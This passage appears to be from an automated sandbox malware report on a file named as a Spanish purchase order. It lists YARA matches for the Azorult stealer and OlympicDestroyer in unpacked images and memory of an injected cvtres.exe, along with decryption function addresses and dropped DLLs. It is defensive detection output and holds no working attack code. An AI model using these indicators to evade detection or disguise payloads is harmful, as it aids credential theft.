Source: 1.2.cvtres.exe.7e3b8e3.4.raw.unpack, type: UNPACKEDPE Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 1.2.cvtres.exe.7e414d2.6.raw.unpack, type: UNPACKEDPE Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 00000001.00000000.248942345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000001.00000000.248942345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult Payload Author: kevoreilly
Source: 00000001.00000000.248942345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000000.249057187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000001.00000000.249057187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult Payload Author: kevoreilly
Source: 00000001.00000000.249057187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000000.248993320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000001.00000000.248993320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult Payload Author: kevoreilly
Source: 00000001.00000000.248993320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.298767805.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000001.00000002.298767805.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult Payload Author: kevoreilly
Source: 00000001.00000002.298767805.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000000.249215469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000001.00000000.249215469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult Payload Author: kevoreilly
Source: 00000001.00000000.249215469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000000.248868745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000001.00000000.248868745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult Payload Author: kevoreilly
Source: 00000001.00000000.248868745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.250173775.0000000003A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000000.00000002.250173775.0000000003A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Yara signature match
Source: 1.0.cvtres.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.0.cvtres.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.0.cvtres.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.cvtres.exe.400000.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.0.cvtres.exe.400000.4.raw.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.0.cvtres.exe.400000.4.raw.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.cvtres.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.0.cvtres.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.0.cvtres.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.cvtres.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.0.cvtres.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.0.cvtres.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.cvtres.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.0.cvtres.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.0.cvtres.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.cvtres.exe.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.0.cvtres.exe.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.0.cvtres.exe.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.cvtres.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.0.cvtres.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.0.cvtres.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.cvtres.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.0.cvtres.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.0.cvtres.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.cvtres.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.2.cvtres.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.2.cvtres.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.cvtres.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.0.cvtres.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.0.cvtres.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.cvtres.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.0.cvtres.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.0.cvtres.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.0.cvtres.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 1.0.cvtres.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 1.0.cvtres.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.cvtres.exe.7e35982.5.raw.unpack, type: UNPACKEDPE Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 1.2.cvtres.exe.7e3b8e3.4.raw.unpack, type: UNPACKEDPE Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 1.2.cvtres.exe.7e414d2.6.raw.unpack, type: UNPACKEDPE Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 00000001.00000000.248942345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000001.00000000.248942345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 00000001.00000000.248942345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000000.249057187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000001.00000000.249057187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 00000001.00000000.249057187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000000.248993320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000001.00000000.248993320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 00000001.00000000.248993320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.298767805.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000001.00000002.298767805.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 00000001.00000002.298767805.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000000.249215469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000001.00000000.249215469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 00000001.00000000.249215469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000000.248868745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000001.00000000.248868745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 00000001.00000000.248868745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.250173775.0000000003A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000000.00000002.250173775.0000000003A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Detected potential crypto function
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028B0448 0_2_028B0448
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028B4E48 0_2_028B4E48
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028B17C9 0_2_028B17C9
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028B2D08 0_2_028B2D08
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028B3B08 0_2_028B3B08
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028BB4B8 0_2_028BB4B8
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028B2CF8 0_2_028B2CF8
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028BAA11 0_2_028BAA11
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028BAA20 0_2_028BAA20
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028B0427 0_2_028B0427
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028B2078 0_2_028B2078
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028BDFD8 0_2_028BDFD8
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028BB508 0_2_028BB508
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028BD958 0_2_028BD958
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Code function: 0_2_028BBF60 0_2_028BBF60
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: String function: 00403B98 appears 44 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: String function: 00404E64 appears 33 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: String function: 00404E3C appears 87 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: String function: 004062D8 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: String function: 004034E4 appears 36 times
PE file does not import any functions
Source: api-ms-win-core-handle-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.1.dr Static PE information: No import functions for PE file found
Sample file is different than original file name gathered from version info
Source: NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000000.244217715.0000000000786000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameNMCVXCXMXKJDFGDJKJDF.exeJ vs NUEVA ORDEN-MATSA 10-2022,.exe
Source: NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.250033059.0000000002A70000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameBROTHERS.dll2 vs NUEVA ORDEN-MATSA 10-2022,.exe
Source: NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.249943507.0000000002A20000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameResourceAssembly.dllD vs NUEVA ORDEN-MATSA 10-2022,.exe
Source: NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.250017076.0000000002A64000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameResourceAssembly.dllD vs NUEVA ORDEN-MATSA 10-2022,.exe
